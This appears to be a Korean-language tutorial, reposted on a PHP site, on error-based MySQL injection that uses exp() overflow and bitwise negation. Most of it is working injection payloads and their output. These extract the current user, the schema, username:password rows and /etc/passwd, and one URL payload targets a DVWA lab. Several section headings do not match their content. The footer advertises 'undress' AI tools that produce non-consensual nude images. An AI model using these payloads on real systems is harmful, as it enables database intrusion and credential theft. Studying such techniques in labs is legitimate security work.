운영 및 유지보수 안전 SQL 오류 주입에 exp를 사용하는 방법

SQL 오류 주입에 exp를 사용하는 방법

May 12, 2023 am 10:16 AM
sql SQL 주입

0x01 소개 개요

편집자는 MySQL에서 또 다른 Double 데이터 오버플로를 발견했습니다. MySQL에서 함수를 얻을 때 편집자는 수학 함수에 더 관심을 가지게 되며 값을 저장하기 위한 일부 데이터 유형도 포함해야 합니다. 그래서 편집자는 어떤 함수가 오버플로 오류를 일으키는지 확인하기 위해 테스트를 실행했습니다. 그런 다음 편집자는 709보다 큰 값이 전달되면 exp() 함수가 오버플로 오류를 발생시킨다는 것을 발견했습니다.

SQL 오류 주입에 exp를 사용하는 방법

<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709)              |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>

MySQL에서 exp, ln 및 log의 기능은 반대입니다. 간단히 소개하자면, log와 ln은 모두 e를 밑으로 하는 로그를 반환합니다. 방정식을 참조하세요.

SQL 오류 주입에 exp를 사용하는 방법
SQL 오류 주입에 exp를 사용하는 방법
<p>mysql> select log(15);<br>+------------------+<br>| log(15)          |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15)           |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>

지수 함수는 로그 함수의 역함수입니다. exp()는 다음 방정식과 같이 e를 밑으로 하는 로그 함수입니다. 부정적인 쿼리 "DOUBLE 값이 범위를 벗어났습니다." 오류가 발생합니다. 작성자의 이전 블로그 게시물에서 언급했듯이 0의 비트 단위 반전은 "18446744073709551615"를 반환합니다. 또한 함수가 성공적으로 실행된 후 0을 반환하므로 성공적으로 실행된 함수를 반전하면 *** unsigned가 됩니다.

mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)
서브 쿼리와 비트 부정을 통해 DOUBLE 오버플로 오류를 생성하고 이를 사용하여 데이터를 주입합니다. SQL 오류 주입에 exp를 사용하는 방법
<p>mysql> select ~0;<br>+----------------------+<br>| ~0                   |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version())  |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>

0x03 출력 데이터

테이블 이름 가져오기:

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
열 이름 가져오기:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
데이터 검색:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
0x04 한 번에 완료

이 쿼리는 다음을 사용하여 현재 컨텍스트에서 모든 테이블을 덤프할 수 있습니다. 열. 전체 데이터베이스를 덤프할 수도 있지만 오류를 통해 추출하고 있으므로 결과가 거의 반환되지 않습니다.

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x05 파일 읽기

load_file() 함수를 통해 파일을 읽을 수 있지만 저자는 이 명령문을 BIGINT 오버플로 주입에도 사용할 수 있다는 것을 발견했습니다.

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
SQL 오류 주입에 exp를 사용하는 방법

이 오류는 0만 쓰기 때문에 파일에 쓸 수 없다는 점에 유의하세요.

select exp(~(select*from(select load_file('/etc/passwd'))a));

0x06 Insert in Insert

단계별로 따르세요SQL 오류 주입에 exp를 사용하는 방법
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0
DIOS 쿼리는 모든 삽입, 업데이트 및 삭제 문에도 사용할 수 있습니다.

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x07 업데이트 인젝션

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'

0x08 인젝션 인 삭제

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
기존 BIGINT 인젝션과 마찬가지로 exp 인젝션도 MySQL5.5.5 이상에서 적용 가능합니다. 이전 버전에서는 이 상황에 대해 "침묵"이었습니다.

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
이런 종류의 오류를 생성하는 다른 기능이 있을 수 있습니다.

위 내용은 SQL 오류 주입에 exp를 사용하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제

PHP 튜토리얼
1596
276
SQL에서 연중 첫날과 마지막 날을 얻는 방법? SQL에서 연중 첫날과 마지막 날을 얻는 방법? Aug 11, 2025 pm 05:42 PM

thefirstdayoftheyearisobtingbirettructingortructingortructingortructingortructingortructingortructating andthelastdaysdecember31Stofthesameyear, withmethodsvaryingbydatabasesystem;

SQL에서 열의 합을 찾는 방법은 무엇입니까? SQL에서 열의 합을 찾는 방법은 무엇입니까? Aug 08, 2025 pm 05:54 PM

tofindsumofacolumninsql, usethesum () 함수

SQL 실행 컨텍스트 및 권한을 이해합니다 SQL 실행 컨텍스트 및 권한을 이해합니다 Aug 16, 2025 am 08:57 AM

SQL 실행 컨텍스트는 SQL 문을 실행할 때 신원 또는 역할을 말하며, 이는 어떤 리소스 및 작업 권한에 액세스 할 수 있는지 결정합니다. 권한 설정은 최소 권한의 원칙을 따라야하며 공통 권한에는 선택, 삽입, 실행 등이 포함됩니다. 권한 문제를 해결하려면 로그인 이름, 역할 권한, 집행 인 설정 및 스키마 허가를 확인해야합니다. 컨텍스트 전환 수행은 집행 인을 통해 구현 될 수 있지만 사용자 존재, 허가 부여 및 성능 보안 영향에주의를 기울여야합니다. DB__OWNER 또는 SYSADMIN 역할을 임의로 할당하지 않는 것이 좋습니다. 신청 계정은 필요한 오브젝트에만 액세스하고 스키마를 통해 승인되어야합니다.

SQL로 테이블을 연결하는 방법 SQL로 테이블을 연결하는 방법 Aug 16, 2025 am 09:37 AM

Aself-joinisusedtocomparerowswithinthesaMetable, SuleSinhierarchicalDatalikeEemployEre-ManagerRelations, ByTreatingTableStabestwoseparateSusingAsingaliases, asdemployEeesalongSideIdeIrmanagers'NamestoptoptopteoTointointointointointointointointointointointointointointointoine

SQL의 Alter Table 문은 무엇입니까? SQL의 Alter Table 문은 무엇입니까? Aug 08, 2025 pm 02:13 PM

THEALTERTABLESTEMENTISUSSISSESSEDTOMODIFYANESISTINGTABLE 'SSTRUCTURES와 OUTRECREATINT; 1. ADDANEWCOLUMNUSINGADDCOLUMN; 2. DROPACOLUMN withdropcolumn, whithalsodeletesitsdata; 3. renameacolumnusingrenamecolumn, withyntaxconsistentinmysql, sqlserver, andpostgresql; 4

SQL에서보기를 만드는 방법 SQL에서보기를 만드는 방법 Aug 11, 2025 pm 12:40 PM

보기를 만들기위한 구문은 createViewView_NameAsselect 문입니다. 2. 뷰는 실제 데이터를 저장하지 않지만 기본 테이블의 실시간 쿼리 결과를 기반으로합니다. 3. kreateorreplaceview를 사용하여보기를 수정할 수 있습니다. 4. 뷰는 DropView를 통해 삭제 될 수 있습니다. 5. 뷰는 복잡한 쿼리를 단순화하고, 데이터 액세스 제어를 제공하며, 인터페이스 일관성을 유지하는 데 적합하지만 성능과 논리에주의를 기울여야하며 마지막으로 완전한 문장으로 끝납니다.

SQL에서 전체 외부 조인을 사용하는 방법은 무엇입니까? SQL에서 전체 외부 조인을 사용하는 방법은 무엇입니까? Aug 17, 2025 am 12:25 AM

afullouterjoinreturnsallrowsfrombothtables, withnullswherenomatchexists; 1) itcombinesmatchingrecordsandincludeMatchedrowsfrombothleftandrighttables; 2) itisusefulfordatareconciliation, mergereports, and eflicingmistitations;

SQL 데이터베이스에서 MongoDB로 마이그레이션 : 도전 및 솔루션 SQL 데이터베이스에서 MongoDB로 마이그레이션 : 도전 및 솔루션 Aug 16, 2025 pm 01:40 PM

TransportAmodelsBeyEddingOrencingBasedOnAccessPatternsinsteAdofusingJoins; 2. HandleTransactionScyforingAtomicOperationsandEventualConsistency, reseertingmulti-documentTransactionsorcriticalcase;

See all articles